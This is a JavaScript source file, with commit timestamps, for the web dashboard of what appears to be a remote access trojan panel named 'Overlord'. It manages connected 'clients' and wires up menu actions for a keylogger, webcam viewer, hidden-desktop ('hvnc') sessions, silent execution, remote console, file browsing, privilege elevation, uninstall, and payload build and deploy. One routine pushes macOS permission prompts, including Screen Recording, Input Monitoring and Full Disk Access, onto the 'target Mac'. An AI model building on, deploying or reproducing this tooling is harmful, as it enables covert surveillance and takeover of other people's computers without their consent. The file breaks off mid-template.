2026-03-05 00:04:26 -06:00
import { state } from "./state.js" ;
import { debounce } from "./utils.js" ;
import { createRenderer } from "./render.js" ;
import { openMenu , closeMenu , openModal , wireModalClose , menu } from "./ui.js" ;
import {
registerRenderer ,
loadWithOptions ,
2026-05-30 22:44:55 -05:00
renderCachedClients ,
2026-03-05 00:04:26 -06:00
startAutoRefresh ,
sendCommand ,
2026-07-11 14:55:26 -05:00
pingClientNow ,
2026-03-05 00:04:26 -06:00
requestPreview ,
requestThumbnail ,
2026-04-13 20:02:58 -05:00
markManualDisconnect ,
2026-03-05 00:04:26 -06:00
} from "./data.js" ;
2026-05-17 22:02:23 -05:00
import { ThumbnailLoader } from "./thumbnail-loader.js" ;
2026-05-31 14:27:59 -05:00
import { initDashboardStats , updateDashboardStatsFromClients } from "./dashboard-stats.js" ;
2026-03-05 00:04:26 -06:00
const grid = document . getElementById ( "grid" );
const totalPill = document . getElementById ( "total-pill" );
const pageLabel = document . getElementById ( "page-label" );
2026-05-30 22:44:55 -05:00
const pageTotal = document . getElementById ( "page-total" );
2026-03-05 00:04:26 -06:00
const prevBtn = document . getElementById ( "prev" );
const nextBtn = document . getElementById ( "next" );
2026-05-30 22:44:55 -05:00
const pageJumpForm = document . getElementById ( "page-jump-form" );
const pageJumpInput = document . getElementById ( "page-jump-input" );
2026-03-05 00:04:26 -06:00
const searchInput = document . getElementById ( "search" );
const sortSelect = document . getElementById ( "sort" );
const filterStatusSelect = document . getElementById ( "filter-status" );
const filterOsSelect = document . getElementById ( "filter-os" );
2026-04-14 19:38:27 -05:00
const filterGroupSelect = document . getElementById ( "filter-group" );
2026-06-12 10:20:02 -05:00
const filterWebcamSelect = document . getElementById ( "filter-webcam" );
2026-03-05 00:04:26 -06:00
const showOfflineToggle = document . getElementById ( "toggle-offline" );
2026-05-30 22:44:55 -05:00
const displayFieldsMenu = document . getElementById ( "display-fields-menu" );
2026-03-05 00:04:26 -06:00
const selectAllBtn = document . getElementById ( "select-all" );
const clearSelectionBtn = document . getElementById ( "clear-selection" );
const logoutBtn = document . getElementById ( "logout-btn" );
const usernameDisplay = document . getElementById ( "username-display" );
const roleBadge = document . getElementById ( "role-badge" );
const usersLink = document . getElementById ( "users-link" );
const buildLink = document . getElementById ( "build-link" );
const deployLink = document . getElementById ( "deploy-link" );
const bulkToolbar = document . getElementById ( "bulk-toolbar" );
const selectedCountSpan = document . getElementById ( "selected-count" );
const bulkScreenshotBtn = document . getElementById ( "bulk-screenshot" );
const bulkDisconnectBtn = document . getElementById ( "bulk-disconnect" );
const bulkUninstallBtn = document . getElementById ( "bulk-uninstall" );
const bulkClearBtn = document . getElementById ( "bulk-clear" );
2026-04-14 21:56:18 -05:00
const bulkGroupBtn = document . getElementById ( "bulk-group" );
2026-05-15 18:29:25 -05:00
const bulkMuteBtn = document . getElementById ( "bulk-mute" );
const bulkUnmuteBtn = document . getElementById ( "bulk-unmute" );
2026-03-12 12:05:42 -05:00
const serverVersionText = document . getElementById ( "server-version-text" );
2026-03-05 00:04:26 -06:00
const selectedClients = new Set ();
let lastNonOnlineStatus = "all" ;
2026-03-30 22:21:50 -05:00
const PREF_FILTER_STATUS_KEY = "overlord_filter_status" ;
2026-03-30 22:24:26 -05:00
const PREF_SORT_KEY = "overlord_sort" ;
const PREF_FILTER_OS_KEY = "overlord_filter_os" ;
const PREF_FILTER_COUNTRY_KEY = "overlord_filter_country" ;
2026-04-14 19:38:27 -05:00
const PREF_FILTER_GROUP_KEY = "overlord_filter_group" ;
2026-06-12 10:20:02 -05:00
const PREF_FILTER_WEBCAM_KEY = "overlord_filter_webcam" ;
2026-05-30 22:44:55 -05:00
const PREF_DISPLAY_FIELDS_KEY = "overlord_display_fields" ;
const DEFAULT_DISPLAY_FIELDS = {
user : true ,
ip : true ,
hwid : false ,
system : true ,
version : true ,
monitors : true ,
group : true ,
hardware : true ,
battery : true ,
};
let displayFields = { ... DEFAULT_DISPLAY_FIELDS };
2026-03-05 00:04:26 -06:00
let currentUser = null ;
let contextCard = null ;
let availableOsList = new Set ();
2026-05-30 22:44:55 -05:00
let rendererInitialized = false ;
let lastKnownTotalPages = 1 ;
2026-06-04 20:41:10 -05:00
let currentServerVersion = "" ;
2026-05-30 22:44:55 -05:00
window . setDashboardPageBounds = ( currentPage , totalPages ) => {
lastKnownTotalPages = Math . max ( 1 , Number ( totalPages ) || 1 );
const safeCurrentPage = Math . max ( 1 , Number ( currentPage ) || 1 );
if ( pageLabel ) pageLabel . textContent = "Page" ;
if ( pageTotal ) pageTotal . textContent = String ( lastKnownTotalPages );
if ( ! pageJumpInput ) return ;
pageJumpInput . max = String ( lastKnownTotalPages );
pageJumpInput . style . width = ` ${ Math . min ( 8 , Math . max ( 2 , String ( lastKnownTotalPages ). length , String ( safeCurrentPage ). length )) + 2 } ch` ;
if ( document . activeElement !== pageJumpInput ) {
pageJumpInput . value = String ( safeCurrentPage );
}
};
2026-03-12 12:05:42 -05:00
2026-05-31 15:53:50 -05:00
function setServerVersionLabel ( version , tone = "ok" ) {
2026-03-12 12:05:42 -05:00
if ( ! serverVersionText ) return ;
serverVersionText . textContent = "Server version: " ;
const value = document . createElement ( "span" );
2026-05-31 15:53:50 -05:00
value . className = tone === "bad"
? "server-version-number-mismatch"
: tone === "warn"
? "server-version-number-warning"
: "server-version-number" ;
2026-03-12 12:05:42 -05:00
value . textContent = version ;
serverVersionText . appendChild ( value );
}
async function loadServerVersion () {
if ( ! serverVersionText ) return ;
try {
const res = await fetch ( "/api/version" , { credentials : "include" });
if ( ! res . ok ) {
2026-05-31 15:53:50 -05:00
setServerVersionLabel ( "unavailable" , "bad" );
2026-03-12 12:05:42 -05:00
return ;
}
const payload = await res . json ();
const version = typeof payload ? . version === "string" && payload . version . trim ()
? payload . version . trim ()
: "unknown" ;
2026-06-04 20:41:10 -05:00
currentServerVersion = version ;
2026-05-31 15:53:50 -05:00
setServerVersionLabel ( version , version === "unknown" ? "warn" : "ok" );
2026-06-04 20:41:10 -05:00
if ( rendererInitialized ) {
state . lastDigest = "" ;
renderCachedClients ({ force : true });
}
2026-03-12 12:05:42 -05:00
} catch {
2026-06-04 20:41:10 -05:00
currentServerVersion = "unavailable" ;
2026-05-31 15:53:50 -05:00
setServerVersionLabel ( "unavailable" , "bad" );
2026-03-12 12:05:42 -05:00
}
}
2026-03-05 00:04:26 -06:00
const setContext = ( id ) => {
contextCard = id ;
};
const clearContext = () => {
contextCard = null ;
};
2026-05-05 19:31:55 -05:00
let _pluginCache = null ;
let _pluginCacheAge = 0 ;
const PLUGIN_CACHE_TTL = 30_000 ;
2026-07-01 09:31:51 -05:00
const PLUGIN_CACHE_INVALIDATION_KEY = "overlord_plugin_cache_invalidated_at" ;
2026-06-25 11:45:28 -05:00
const pluginDashboardBadges = new Map ();
let pluginDashboardDigest = "" ;
let pluginDashboardRefreshInFlight = false ;
2026-05-05 19:31:55 -05:00
async function refreshPluginCache () {
try {
const res = await fetch ( "/api/plugins" );
if ( ! res . ok ) return ;
const data = await res . json ();
_pluginCache = Array . isArray ( data . plugins ) ? data . plugins : [];
_pluginCacheAge = Date . now ();
} catch {}
}
2026-07-01 09:31:51 -05:00
function invalidatePluginCache () {
_pluginCache = null ;
_pluginCacheAge = 0 ;
}
2026-05-05 19:31:55 -05:00
function getCachedPlugins () {
if ( _pluginCache && Date . now () - _pluginCacheAge < PLUGIN_CACHE_TTL ) {
return _pluginCache ;
}
return null ;
}
2026-06-25 11:45:28 -05:00
function dashboardBadgeHref ( href , clientId , pluginId ) {
const raw = String ( href || `/plugins/ ${ encodeURIComponent ( pluginId ) } ?clientId= ${ encodeURIComponent ( clientId ) } ` );
return raw
. replaceAll ( "{clientId}" , encodeURIComponent ( clientId ))
. replaceAll ( "{pluginId}" , encodeURIComponent ( pluginId ));
}
function getDashboardBadgesForClient ( client ) {
return pluginDashboardBadges . get ( client ? . id || "" ) || [];
}
async function refreshDashboardPluginContributions ( items = []) {
if ( pluginDashboardRefreshInFlight ) return ;
const clientIds = items . map (( item ) => item ? . id ). filter ( Boolean );
if ( ! clientIds . length ) {
if ( pluginDashboardBadges . size ) {
pluginDashboardBadges . clear ();
pluginDashboardDigest = "" ;
renderCachedClients ({ force : true , fromPluginDashboard : true });
}
return ;
}
pluginDashboardRefreshInFlight = true ;
try {
const res = await fetch ( "/api/plugins/dashboard-contributions" , {
method : "POST" ,
credentials : "include" ,
headers : { "Content-Type" : "application/json" , Accept : "application/json" },
body : JSON . stringify ({ clientIds }),
});
if ( ! res . ok ) return ;
const data = await res . json ();
const pluginNames = new Map (( Array . isArray ( data . plugins ) ? data . plugins : []). map (( p ) => [ p . id , p . name || p . id ]));
const next = new Map ();
for ( const row of Array . isArray ( data . contributions ) ? data . contributions : []) {
const clientId = String ( row ? . clientId || "" );
const pluginId = String ( row ? . pluginId || "" );
if ( ! clientId || ! pluginId || ! clientIds . includes ( clientId )) continue ;
const badges = Array . isArray ( row . badges ) ? row . badges : [];
const current = next . get ( clientId ) || [];
for ( const badge of badges ) {
const id = String ( badge ? . id || pluginId || "plugin" );
current . push ({
... badge ,
id : ` ${ pluginId } : ${ id } ` ,
pluginId ,
pluginName : pluginNames . get ( pluginId ) || pluginId ,
href : dashboardBadgeHref ( badge ? . href , clientId , pluginId ),
});
}
next . set ( clientId , current );
}
const nextDigest = JSON . stringify ( Array . from ( next . entries ()). sort (([ a ], [ b ]) => a . localeCompare ( b )));
if ( nextDigest === pluginDashboardDigest ) return ;
pluginDashboardDigest = nextDigest ;
pluginDashboardBadges . clear ();
for ( const [ clientId , badges ] of next . entries ()) pluginDashboardBadges . set ( clientId , badges );
renderCachedClients ({ force : true , fromPluginDashboard : true });
} catch {
// Dashboard badges are decorative; leave the last known state in place.
} finally {
pluginDashboardRefreshInFlight = false ;
}
}
2026-03-06 18:32:16 -06:00
function detectClientPlatform ( clientId ) {
if ( ! clientId ) {
return "unknown" ;
}
const selectorId =
typeof CSS !== "undefined" && typeof CSS . escape === "function"
? CSS . escape ( clientId )
: clientId ;
2026-05-09 20:47:44 -05:00
const card = document . querySelector ( `[data-client-row][data-id=" ${ selectorId } "]` );
2026-03-06 18:32:16 -06:00
const os = String ( card ? . dataset ? . os || "" ). toLowerCase ();
if ( os . includes ( "windows" )) return "windows" ;
if ( os . includes ( "darwin" ) || os . includes ( "mac" )) return "mac" ;
if ( os . includes ( "linux" )) return "linux" ;
return "unknown" ;
}
2026-03-10 19:30:51 -05:00
function getClientCard ( clientId ) {
if ( ! clientId ) return null ;
const selectorId =
typeof CSS !== "undefined" && typeof CSS . escape === "function"
? CSS . escape ( clientId )
: clientId ;
2026-05-09 20:47:44 -05:00
return document . querySelector ( `[data-client-row][data-id=" ${ selectorId } "]` );
2026-03-10 19:30:51 -05:00
}
2026-06-04 20:41:10 -05:00
function macPermissionLabels ( keys = []) {
const labels = {
accessibility : "Accessibility" ,
screenRecording : "Screen Recording" ,
2026-06-04 20:54:33 -05:00
inputMonitoring : "Input Monitoring" ,
2026-06-04 20:41:10 -05:00
fullDiskAccess : "Full Disk Access" ,
};
return keys . map (( key ) => labels [ key ] || key ). join ( ", " );
}
2026-06-04 20:54:33 -05:00
async function requestMacPermissions ( clientId , permissionKey = "" , { refreshOnly = false } = {}) {
2026-06-04 20:41:10 -05:00
if ( ! clientId ) return ;
if ( ! isClientOnline ( clientId )) {
alert ( "Client is offline. macOS permissions can only be requested while the client is online." );
return ;
}
if ( detectClientPlatform ( clientId ) !== "mac" ) {
alert ( "This permission request is only available for macOS clients." );
return ;
}
2026-06-04 20:54:33 -05:00
const requested = permissionKey
? [ permissionKey ]
: refreshOnly
? [ "accessibility" , "screenRecording" , "fullDiskAccess" ]
: [ "accessibility" , "screenRecording" , "inputMonitoring" , "fullDiskAccess" ];
2026-06-04 20:41:10 -05:00
const label = macPermissionLabels ( requested ) || "macOS permissions" ;
2026-06-04 20:54:33 -05:00
if ( ! refreshOnly ) {
const proceed = confirm (
`Request ${ label } from ${ clientId } ?\n\n` +
"This can show a macOS prompt on the target Mac. " +
"Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible." ,
);
if ( ! proceed ) return ;
}
2026-06-04 20:41:10 -05:00
try {
const res = await fetch ( `/api/clients/ ${ encodeURIComponent ( clientId ) } /command` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({
action : "darwin_request_permissions" ,
permissions : requested ,
2026-06-04 20:54:33 -05:00
refreshOnly ,
2026-06-04 20:41:10 -05:00
}),
});
const data = await res . json (). catch (() => ({}));
if ( ! res . ok ) {
alert ( data . error || "macOS permission request failed." );
return ;
}
const missing = Array . isArray ( data . missing ) ? data . missing : [];
const stillMissingRequested = missing . filter (( key ) => requested . includes ( key ));
2026-06-04 20:54:33 -05:00
if ( refreshOnly ) {
window . showToast ? .( "macOS permissions refreshed" , "success" , 2500 );
} else if ( stillMissingRequested . length ) {
2026-06-04 20:41:10 -05:00
alert ( `Permission request completed, but still missing: ${ macPermissionLabels ( stillMissingRequested ) } ` );
} else {
alert ( ` ${ label } is granted.` );
}
setTimeout (() => loadWithOptions ({ force : true }), 300 );
} catch ( err ) {
alert ( "macOS permission request failed: " + err . message );
}
}
2026-06-04 20:54:33 -05:00
async function applyMacPermissionChanges ( clientId ) {
if ( ! clientId ) return ;
if ( ! isClientOnline ( clientId )) {
alert ( "Client is offline." );
return ;
}
const proceed = confirm (
`Reconnect ${ clientId } to apply macOS permission changes?\n\n` +
"The client will reconnect and report fresh permission state." ,
);
if ( ! proceed ) return ;
markManualDisconnect ( clientId );
const ok = await sendCommand ( clientId , "reconnect" );
if ( ok ) {
window . showToast ? .( "Reconnect requested" , "success" , 2500 );
setTimeout (() => loadWithOptions ({ force : true }), 1200 );
}
}
2026-05-08 22:55:41 -05:00
window . __uninstallingClientIds = window . __uninstallingClientIds || new Set ();
function flipFallAndRemove ( clientId , { delayMs = 0 } = {}) {
const card = getClientCard ( clientId );
if ( ! card || card . classList . contains ( "card-uninstalling" )) return ;
window . __uninstallingClientIds . add ( clientId );
if ( delayMs > 0 ) card . style . animationDelay = ` ${ delayMs } ms` ;
card . classList . add ( "card-uninstalling" );
let removed = false ;
const cleanup = () => {
if ( removed ) return ;
removed = true ;
card . remove ();
setTimeout (() => window . __uninstallingClientIds . delete ( clientId ), 2500 );
};
card . addEventListener ( "animationend" , cleanup , { once : true });
setTimeout ( cleanup , 1100 + delayMs + 400 );
}
2026-03-13 23:46:42 -05:00
function openTagNoteEditor ( clientId , currentTag , currentNote ) {
return new Promise (( resolve ) => {
const overlay = document . createElement ( "div" );
overlay . className =
"fixed inset-0 z-[10001] bg-black/70 backdrop-blur-sm flex items-center justify-center p-4" ;
overlay . innerHTML = `
<div class="w-full max-w-xl rounded-xl border border-slate-700 bg-slate-900 p-5 shadow-2xl">
<h3 class="text-lg font-semibold text-slate-100">Custom Tag</h3>
<p id="tag-editor-client" class="mt-1 text-sm text-slate-400"></p>
<label class="mt-4 block text-sm text-slate-300">Tag</label>
<input id="tag-editor-input" type="text" class="mt-1 w-full rounded-lg border border-slate-600 bg-slate-950 px-3 py-2 text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-600" placeholder="e.g. VIP, Priority, Finance">
<label class="mt-4 block text-sm text-slate-300">Note</label>
<textarea id="tag-editor-note" class="mt-1 min-h-[220px] w-full rounded-lg border border-slate-600 bg-slate-950 px-3 py-2 text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-600" placeholder="Write as much as you need. No note length limit."></textarea>
<div class="mt-4 flex items-center justify-between gap-2">
<button id="tag-editor-clear" class="rounded-lg border border-rose-700 bg-rose-900/50 px-3 py-2 text-sm text-rose-100 hover:bg-rose-800">Clear</button>
<div class="flex items-center gap-2">
<button id="tag-editor-cancel" class="rounded-lg border border-slate-600 bg-slate-800 px-3 py-2 text-sm text-slate-100 hover:bg-slate-700">Cancel</button>
<button id="tag-editor-save" class="rounded-lg border border-blue-700 bg-blue-700 px-3 py-2 text-sm text-white hover:bg-blue-600">Save</button>
</div>
</div>
</div>
` ;
const clientLabel = overlay . querySelector ( "#tag-editor-client" );
if ( clientLabel ) clientLabel . textContent = clientId ;
const tagInput = overlay . querySelector ( "#tag-editor-input" );
if ( tagInput ) tagInput . value = currentTag || "" ;
const textarea = overlay . querySelector ( "#tag-editor-note" );
textarea . value = currentNote || "" ;
const closeWith = ( result ) => {
overlay . remove ();
resolve ( result );
};
overlay . addEventListener ( "click" , ( e ) => {
if ( e . target === overlay ) closeWith ( null );
});
overlay
. querySelector ( "#tag-editor-cancel" )
? . addEventListener ( "click" , () => closeWith ( null ));
overlay
. querySelector ( "#tag-editor-clear" )
? . addEventListener ( "click" , () => closeWith ({ tag : "" , note : "" }));
overlay . querySelector ( "#tag-editor-save" ) ? . addEventListener ( "click" , () => {
const tag = String ( overlay . querySelector ( "#tag-editor-input" ) ? . value || "" ). trim ();
const note = String ( overlay . querySelector ( "#tag-editor-note" ) ? . value || "" );
closeWith ({ tag , note });
});
document . body . appendChild ( overlay );
overlay . querySelector ( "#tag-editor-input" ) ? . focus ();
});
}
2026-03-10 19:30:51 -05:00
function isClientOnline ( clientId ) {
return getClientCard ( clientId ) ? . dataset . online === "true" ;
}
2026-03-06 18:32:16 -06:00
function applyMenuSupportRules ( clientId ) {
const platform = detectClientPlatform ( clientId );
const isWindows = platform === "windows" ;
2026-04-18 14:08:35 -05:00
const isOnline = isClientOnline ( clientId );
2026-03-06 18:32:16 -06:00
const setAvailability = ( btn , enabled , reason ) => {
if ( ! btn ) return ;
btn . disabled = ! enabled ;
btn . setAttribute ( "aria-disabled" , String ( ! enabled ));
btn . classList . toggle ( "opacity-50" , ! enabled );
btn . classList . toggle ( "cursor-not-allowed" , ! enabled );
btn . classList . toggle ( "hover:bg-slate-700" , enabled );
btn . classList . toggle ( "hover:bg-slate-800/50" , ! enabled );
btn . title = enabled ? "" : reason ;
};
2026-03-12 14:22:03 -05:00
const hvncBtn = menu . querySelector ( '[data-open="Backstage"]' );
2026-04-18 14:08:35 -05:00
setAvailability ( hvncBtn , isOnline && isWindows , isOnline ? "Backstage is only supported on Windows clients." : "Client is offline" );
2026-03-06 18:32:16 -06:00
2026-07-12 14:23:41 -05:00
const hiddenBtn = menu . querySelector ( '[data-open="Virtual"]' );
setAvailability ( hiddenBtn , isOnline && isWindows , isOnline ? "Virtual mode is only supported on Windows clients." : "Client is offline" );
2026-03-08 22:31:11 -05:00
const webcamBtn = menu . querySelector ( '[data-open="webcam"]' );
2026-04-18 14:08:35 -05:00
setAvailability ( webcamBtn , isOnline && isWindows , isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline" );
2026-03-08 22:31:11 -05:00
2026-03-06 18:32:16 -06:00
const keyloggerBtn = menu . querySelector ( '[data-open="keylogger"]' );
2026-06-03 21:04:14 -05:00
const keyloggerSupported = isWindows || platform === "mac" ;
2026-03-06 18:32:16 -06:00
setAvailability (
keyloggerBtn ,
2026-06-10 19:54:18 -05:00
keyloggerSupported ,
"Keylogger is not supported on this platform." ,
2026-03-06 18:32:16 -06:00
);
2026-04-13 10:49:36 -05:00
2026-04-13 18:31:04 -05:00
const winreBtn = menu . querySelector ( '[data-open="winre"]' );
if ( winreBtn ) {
2026-06-06 23:34:44 -05:00
winreBtn . style . display = isWindows ? "" : "none" ;
if ( isWindows ) {
setAvailability ( winreBtn , isOnline , "Client is offline" );
}
2026-04-13 18:31:04 -05:00
}
2026-04-13 10:49:36 -05:00
const elevateBtn = menu . querySelector ( '[data-action="elevate"]' );
if ( elevateBtn ) {
2026-05-20 15:26:41 -05:00
const canElevate = platform === "mac" || platform === "windows" ;
elevateBtn . style . display = canElevate ? "" : "none" ;
if ( canElevate ) setAvailability ( elevateBtn , isOnline , "Client is offline" );
2026-04-13 10:49:36 -05:00
}
2026-04-18 14:08:35 -05:00
setAvailability ( menu . querySelector ( '[data-open="console"]' ), isOnline , "Client is offline" );
setAvailability ( menu . querySelector ( '[data-open="remotedesktop"]' ), isOnline , "Client is offline" );
setAvailability ( menu . querySelector ( '[data-open="voice"]' ), isOnline , "Client is offline" );
setAvailability ( menu . querySelector ( '[data-open="processes"]' ), isOnline , "Client is offline" );
setAvailability ( menu . querySelector ( '[data-open="files"]' ), isOnline , "Client is offline" );
const silentExecBtn = menu . querySelector ( '[data-open="silent-exec"]' );
if ( silentExecBtn && ! silentExecBtn . classList . contains ( "hidden" )) {
setAvailability ( silentExecBtn , isOnline , "Client is offline" );
}
2026-06-10 19:54:18 -05:00
[ "remote-access" , "system" ]. forEach ( groupId => {
2026-04-18 14:08:35 -05:00
setAvailability ( menu . querySelector ( `[data-group-toggle=" ${ groupId } "]` ), isOnline , "Client is offline" );
});
2026-06-10 19:54:18 -05:00
setAvailability (
menu . querySelector ( '[data-group-toggle="monitoring"]' ),
isOnline || keyloggerSupported ,
keyloggerSupported ? "" : "Client is offline" ,
);
2026-04-18 14:08:35 -05:00
[ "ping" , "reconnect" , "disconnect" , "uninstall" ]. forEach ( action => {
setAvailability ( menu . querySelector ( `[data-action=" ${ action } "]` ), isOnline , "Client is offline" );
});
2026-05-18 21:34:35 -05:00
applyFeaturePermissionRules ();
}
const MENU_OPEN_TO_FEATURE = {
console : "console" ,
remotedesktop : "remote_desktop" ,
Backstage : "hvnc" ,
2026-07-12 14:23:41 -05:00
Hidden : "hvnc" ,
2026-05-18 21:34:35 -05:00
webcam : "webcam" ,
files : "file_browser" ,
processes : "processes" ,
keylogger : "keylogger" ,
voice : "voice" ,
};
function applyFeaturePermissionRules () {
const perms = currentUser ? . featurePermissions ;
if ( ! perms ) return ;
for ( const [ openKey , feature ] of Object . entries ( MENU_OPEN_TO_FEATURE )) {
const btn = menu . querySelector ( `[data-open=" ${ openKey } "]` );
if ( ! btn ) continue ;
if ( perms [ feature ] === false ) {
btn . disabled = true ;
btn . setAttribute ( "aria-disabled" , "true" );
btn . classList . add ( "opacity-50" , "cursor-not-allowed" );
btn . classList . remove ( "hover:bg-slate-700" );
btn . classList . add ( "hover:bg-slate-800/50" );
btn . title = "Feature access disabled by administrator" ;
}
}
2026-03-06 18:32:16 -06:00
}
2026-03-05 00:04:26 -06:00
async function loadCurrentUser () {
2026-03-12 12:05:42 -05:00
loadServerVersion ();
2026-03-05 00:04:26 -06:00
try {
const res = await fetch ( "/api/auth/me" );
if ( res . ok ) {
currentUser = await res . json ();
if ( currentUser && currentUser . username && currentUser . role ) {
if ( ! usernameDisplay || ! roleBadge ) {
return ;
}
usernameDisplay . textContent = currentUser . username ;
const roleBadges = {
admin : '<i class="fa-solid fa-crown mr-1"></i>Admin' ,
operator : '<i class="fa-solid fa-sliders mr-1"></i>Operator' ,
viewer : '<i class="fa-solid fa-eye mr-1"></i>Viewer' ,
};
if ( roleBadges [ currentUser . role ]) {
roleBadge . innerHTML = roleBadges [ currentUser . role ];
} else {
roleBadge . textContent = currentUser . role || "" ;
}
if ( currentUser . role === "admin" ) {
roleBadge . classList . add (
"bg-purple-900/50" ,
"text-purple-300" ,
"border" ,
"border-purple-800" ,
);
} else if ( currentUser . role === "operator" ) {
roleBadge . classList . add (
"bg-blue-900/50" ,
"text-blue-300" ,
"border" ,
"border-blue-800" ,
);
} else {
roleBadge . classList . add (
"bg-slate-700" ,
"text-slate-300" ,
"border" ,
"border-slate-600" ,
);
}
if ( currentUser . role === "admin" ) {
usersLink ? . classList . remove ( "hidden" );
}
2026-03-25 10:18:22 -05:00
if ( currentUser . role === "admin" && ! localStorage . getItem ( "overlord_settings_exported" )) {
localStorage . setItem ( "overlord_settings_exported" , "1" );
try {
const expRes = await fetch ( "/api/settings/export" , { credentials : "include" });
if ( expRes . ok ) {
const blob = await expRes . blob ();
const disposition = expRes . headers . get ( "Content-Disposition" ) || "" ;
const match = disposition . match ( /filename="?([^"]+)"?/ );
const filename = match ? match [ 1 ] : "overlord-settings.json" ;
const dlUrl = URL . createObjectURL ( blob );
const a = document . createElement ( "a" );
a . href = dlUrl ;
a . download = filename ;
document . body . appendChild ( a );
a . click ();
document . body . removeChild ( a );
URL . revokeObjectURL ( dlUrl );
}
} catch {}
}
2026-03-12 21:26:53 -05:00
if ( currentUser . role === "admin" || currentUser . role === "operator" || currentUser . canBuild ) {
2026-03-05 00:04:26 -06:00
buildLink ? . classList . remove ( "hidden" );
}
if ( currentUser . role === "admin" ) {
const pluginsLink = document . getElementById ( "plugins-link" );
pluginsLink ? . classList . remove ( "hidden" );
deployLink ? . classList . remove ( "hidden" );
document . getElementById ( "menu-silent-exec" ) ? . classList . remove ( "hidden" );
}
const scriptsLink = document . getElementById ( "scripts-link" );
if ( currentUser . role !== "viewer" ) {
scriptsLink ? . classList . remove ( "hidden" );
}
initializeRenderer ();
}
initializeRenderer ();
2026-05-05 19:31:55 -05:00
refreshPluginCache ();
2026-03-05 00:04:26 -06:00
} else {
2026-04-13 20:26:03 -05:00
window . location . href = "/" ;
2026-03-05 00:04:26 -06:00
}
} catch ( err ) {
console . error ( "Failed to load user:" , err );
}
}
2026-04-14 09:56:20 -05:00
function showPluginConfirmModal ( pluginId , clientId , sigInfo ) {
document . getElementById ( "plugin-confirm-modal" ) ? . remove ();
const isSigned = sigInfo && sigInfo . signed && sigInfo . valid ;
const statusText = isSigned
? `This plugin is signed but the signer's key is not trusted.`
: `This plugin is not signed and its origin cannot be verified.` ;
const fpText = sigInfo ? . fingerprint
? `Signer fingerprint: ${ sigInfo . fingerprint } `
: "No signature present" ;
const modal = document . createElement ( "div" );
modal . id = "plugin-confirm-modal" ;
modal . className = "fixed inset-0 z-50 flex items-center justify-center bg-black/60 backdrop-blur-sm" ;
modal . innerHTML = `
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl max-w-md w-full mx-4 p-6">
<div class="flex items-center gap-3 mb-4">
<div class="w-10 h-10 rounded-full flex items-center justify-center ${ isSigned ? 'bg-yellow-900/60 text-yellow-400' : 'bg-orange-900/60 text-orange-400' } ">
<i class="fa-solid ${ isSigned ? 'fa-shield' : 'fa-shield-halved' } text-lg"></i>
</div>
<div>
<h3 class="font-semibold text-lg"> ${ isSigned ? 'Untrusted Plugin' : 'Unsigned Plugin' } </h3>
<p class="text-sm text-slate-400"> ${ pluginId } </p>
</div>
</div>
<p class="text-sm text-slate-300 mb-2"> ${ statusText } </p>
<p class="text-xs text-slate-500 font-mono mb-4"> ${ fpText } </p>
<p class="text-sm text-slate-300 mb-3">Type <strong class="text-white">confirm</strong> below to load this plugin:</p>
<input
id="plugin-confirm-input"
type="text"
placeholder="Type confirm…"
autocomplete="off"
class="w-full px-3 py-2 rounded-lg bg-slate-950 border border-slate-700 text-slate-100 text-sm placeholder-slate-500 focus:outline-none focus:border-emerald-600 mb-4"
/>
<div class="flex gap-3 justify-end">
<button id="plugin-confirm-cancel" class="px-4 py-2 rounded-lg border border-slate-600 text-slate-300 hover:bg-slate-800">Cancel</button>
<button id="plugin-confirm-load" disabled class="px-4 py-2 rounded-lg bg-emerald-900/40 border border-emerald-700/60 text-emerald-100 opacity-50 cursor-not-allowed">Load Anyway</button>
</div>
</div>
` ;
document . body . appendChild ( modal );
const input = document . getElementById ( "plugin-confirm-input" );
const loadBtn = document . getElementById ( "plugin-confirm-load" );
const cancelBtn = document . getElementById ( "plugin-confirm-cancel" );
input . addEventListener ( "input" , () => {
const match = input . value . trim (). toLowerCase () === "confirm" ;
loadBtn . disabled = ! match ;
loadBtn . classList . toggle ( "opacity-50" , ! match );
loadBtn . classList . toggle ( "cursor-not-allowed" , ! match );
loadBtn . classList . toggle ( "hover:bg-emerald-800/60" , match );
});
cancelBtn . addEventListener ( "click" , () => modal . remove ());
modal . addEventListener ( "click" , ( e ) => { if ( e . target === modal ) modal . remove (); });
loadBtn . addEventListener ( "click" , async () => {
if ( loadBtn . disabled ) return ;
loadBtn . disabled = true ;
loadBtn . textContent = "Loading…" ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /plugins/ ${ pluginId } /load` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ confirmed : true }),
});
if ( ! res . ok ) {
2026-06-22 10:52:27 -05:00
const data = await res . json (). catch (() => null );
if ( data ? . error === "needs_approval_required" ) {
modal . remove ();
showPluginNeedsModal ( pluginId , clientId , data . needs , data . needsHash );
return ;
}
alert ( `Plugin load failed: ${ data ? . error || res . statusText } ` );
2026-04-14 09:56:20 -05:00
} else {
window . open ( `/plugins/ ${ pluginId } ?clientId= ${ clientId } ` , "_blank" , "noopener" );
}
} catch {
alert ( "Plugin load failed" );
}
modal . remove ();
});
input . focus ();
}
2026-06-22 10:52:27 -05:00
function escapePluginHtml ( value ) {
return String ( value )
. replace ( /&/g , "&" )
. replace ( /</g , "<" )
. replace ( />/g , ">" )
. replace ( /"/g , """ );
}
function pluginNeedLines ( needs ) {
const files = Array . isArray ( needs ? . files ) ? needs . files : [];
return files . map (( need ) => {
const access = Array . isArray ( need . access ) ? need . access . join ( ", " ) : "" ;
const reason = need . reason ? ` - ${ need . reason } ` : "" ;
return ` ${ need . bucket } : ${ access }${ reason } ` ;
});
}
function showPluginNeedsModal ( pluginId , clientId , needs , needsHash ) {
document . getElementById ( "plugin-needs-modal" ) ? . remove ();
const lines = pluginNeedLines ( needs );
const modal = document . createElement ( "div" );
modal . id = "plugin-needs-modal" ;
modal . className = "fixed inset-0 z-50 flex items-center justify-center bg-black/60 backdrop-blur-sm" ;
modal . innerHTML = `
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl max-w-lg w-full mx-4 p-6">
<div class="flex items-center gap-3 mb-4">
<div class="w-10 h-10 rounded-full flex items-center justify-center bg-amber-900/60 text-amber-300">
<i class="fa-solid fa-key text-lg"></i>
